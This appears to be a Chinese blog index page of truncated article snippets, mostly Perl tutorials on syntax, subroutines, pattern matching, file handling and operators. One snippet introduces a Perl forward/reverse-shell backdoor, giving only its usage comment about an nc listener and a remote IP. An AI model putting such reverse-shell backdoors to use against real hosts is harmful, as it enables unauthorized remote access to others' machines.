2020-03-13 标签:perl,写的,单位,电脑,信息,采集,程序,实现,代码,如下,主要,用于,收集,ip,mac,姓名,房间,加入,维修,记录

实现代码如下：主要用于收集ip、mac、姓名、房间，后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。 ############################# use strict; use Tk; use Encode; #SOCKE参数 my $PF_INET = 2; my $p

2020-03-13 标签:perl,模块,编写,说明,语法,相对来说,有点,晦涩,主要是,内置,变量,函数,处理,相当,精巧,而过,精致,东西,理解,就有

Perl的语法相对来说有点晦涩，主要是一些内置变量和函数处理得相当精巧，而过于精致的东西理解起来就有点费力。相对于Shell，Perl在很多方面更加强大高效，比如Hash(关联数组)就非常好用，如果要将不同主机发出来的告警信息发送到不同的责任人，在shell中要做非常多的if或者case判断，修改起

2020-03-13 标签:perl,后门,正向,反向,实例,代码,小杰,使用,n,c,监听,连接,usr,bin,usage,vv,l,p,port,default

by 小杰 都是使用nc监听 反向连接代码：#!/usr/bin/perl#usage:#nc -vv -l -p PORT(default 1988) on your local system first,then#Perl $0 Remote IP(default 127.0.0.1) Remo

2020-03-13 标签:windows,apache,mysql,php,perl,安装,配置,os,microsoft,2000,简体中文版,web,server,12,win,32

OS : Microsoft Windows 2000 Professional简体中文版 WEB SERVER: Apache 1.3.12 for WIN32 MYSQL : MySQL Shareware 3.22.34 for WIN32 PHP3 : PHP 3.0.15 for WIN3

2020-03-13 标签:perl,子程序,sub,定义,执行,特殊任务,一段,分离,代码,减少,重复,程序,易读,出现,任何地方,方法,subroutine

一、定义子程序即执行一个特殊任务的一段分离的代码，它可以使减少重复代码且使程序易读。PERL中，子程序可以出现在程序的任何地方。定义方法为：sub subroutine{statements;} 二、调用调用方法如下： 1、用...sub subname{...} 2、先定义后调用 ，可以省略 3、

2020-03-13 标签:perl,控制,结构,条件,判断,expression,statement,block,elsif,else,循环,until,c,count

一、条件判断if ( ) {}elsif ( ) {}...else{} 二、循环：1、while循环while ( ) {} 2、until循环until ( ) {} 3、类C的for循环 ，如for ($count=1; $count , $count = 1; $count , $co

2020-03-13 标签:perl,模式,匹配,参数,详解,简介,指在,字符串,寻找,特定,序列,字符,斜线,包含,def,用法,结合

一、简介模式指在字符串中寻找的特定序列的字符，由反斜线包含：/def/即模式def。其用法如结合函数split将字符串用某模式分成多个单词：@array = split(/ /, $line);二、匹配操作符 =~、!~=~检验匹配是否成功：$result = $var =~ /abc/;若在该字符

2020-03-13 标签:perl,文件,读写,详细,说明,打开,关闭,语法,open,filevar,filename,其中,句柄,或者说,程序,中用,代表,代号,文件名

一、打开、关闭文件语法为open (filevar, filename)，其中filevar为文件句柄，或者说是程序中用来代表某文件的代号，filename为文件名，其路径可为相对路径，亦可为绝对路径。open(FILE1,"file1");open(FILE1, "/u/jqpublic/file

2020-03-13 标签:perl,列表,和数,变量,详解,包含,括号,里的,一序列,任何,数值,也可,hello

一、列表列表是包含在括号里的一序列的值，可以为任何数值，也可为空，如：(1, 5.3 , "hello" , 2)，空列表：()。注：只含有一个数值的列表(如：(43.2) )与该数值本身(即：43.2 )是不同的，但它们可以互相转化或赋值。列表例：(17, $var, "a string")(17

2020-03-13 标签:perl,操作,详细,说明,算术,乘幂,基数

一、算术操作符 ：+(加)、-(减)、*(乘)、/(除)、**(乘幂)、%(取余)、-(单目负)(1)乘幂的基数不能为负，如 (-5) ** 2.5 # error；(2)乘幂结果不能超出计算机表示的限制，如10 ** 999999 # error(3)取余的操作数如不是整数，四舍五入成整数后运算；